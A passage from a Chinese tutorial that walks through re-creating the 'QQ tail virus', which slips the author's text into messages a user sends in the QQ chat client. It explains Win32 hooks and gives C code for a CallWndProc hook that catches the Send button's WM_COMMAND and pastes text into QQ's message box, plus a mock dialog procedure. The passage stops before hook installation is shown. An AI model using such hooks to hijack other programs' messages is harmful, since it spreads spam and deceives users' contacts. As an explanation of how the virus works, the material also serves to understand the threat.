讲到这里，我所陈述的这些事实一定会让身为读者的你说：钩子！——对，就是钩子，下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。

 
　　首先我对钩子做一个简要的介绍，已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子（hook）并不是铁钩船长那只人工再现的手臂，而是一段子程序，它可以用来监视、检测系统中的特定消息，并完成一些特定的功能。打个比方来说，你的程序是皇帝，Windows系统充当各省的巡抚；至于钩子，则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税，然后派了一个钦差找到山西巡抚说：“皇上有旨，山西除正常赋税外，加收杏花村酒十坛。”（-_-#……）正如皇帝可以用这种方法来特殊对待特定的巡抚一样，程序员也可以用钩子来捕获处理Windows系统中特定的消息。

　　问题具体到了“QQ尾巴病毒”上边，就是我们需要一个钩子，在用户单击了“发送”按钮之后，粘贴我们的文本。我所实现的这段钩子过程为（至于如何挂接这个钩子，我会在稍后说明）：

　　// 钩子过程，监视“发送”的命令消息
　　LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
　　{
　　 CWPSTRUCT *p = (CWPSTRUCT *)lParam;
　　 // 捕获“发送”按钮
　　 if (p-＞message == WM_COMMAND && LOWORD(p-＞wParam) == 1)
　　 PasteText(g_hRich);
　　 return CallNextHookEx(g_hProc, nCode, wParam, lParam);
　　}
　　　　在此我对这个回调过程说明几点：
　　　　1、lParam是一个指向CWPSTRUCT结构的指针，这个结构的描述如下：
　　typedef struct {
　　 LPARAM lParam;
　　 WPARAM wParam;
　　 UINT message;
　　 HWND hwnd;
　　} CWPSTRUCT, *PCWPSTRUCT;

　　这时候像我一样的SDK fans也许会会心一笑：这不是窗口回调的那四个铁杆参数么？如你所说，的确是这样，你甚至可以使用switch (p-＞message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。

　　2、g_hRich是一个全局变量，它保存的是QQ消息文本框的句柄。这里之所以采用全局变量，是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置，我会在稍后说明。

　　3、CallNextHookEx是调用钩子链中的下一个处理过程，换了钦差就会说：“十坛杏花村酒本钦差已经替皇上收下了，现在请巡抚大人把贵省正常的赋税交上来吧。”（-_-#……）这是书写钩子函数中很重要的一个环节，如果少了这一句，那么可能会导致系统的钩子链出现错误，某些程序也会没有响应——事实上我在编写这个仿真程序的时候QQ就当掉了几回。

　　4、你也许会问为什么我捕获的是WM_COMMAND消息，这个原因让我来用下面的SDK代码（虽然QQ是用MFC写的，但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系）来说明：

　　#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义
　　// QQ发送消息对话框回调过程·李马伪造版
　　LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
　　{
　　 switch (Msg)
　　 {
　　 case WM_CLOSE:
　　 EndDialog(hDlg, 0);
　　 break;
　　 case WM_COMMAND:
　　 {
　　 switch (LOWORD(wParam))
　　 {
　　 case IDC_BTN_SENDMSG:
　　 // 发送消息...
　　 break;
　　 // 其它的命令按钮处理部分...
　　 }
　　 }
　　 break;
　　 // 其它的case部分...
　　 }
　　 return 0;
　　}

　　消息发送的整个过程是：当用户单击了“发送”按钮后，这个按钮的父窗口（也就是“发送消息”的对话框）会收到一条WM_COMMAND的通知消息，其中wParam的低位字（即LOWORD(wParam)）为这个按钮的ID，然后再调用代码中发送的部分，这个过程如下图：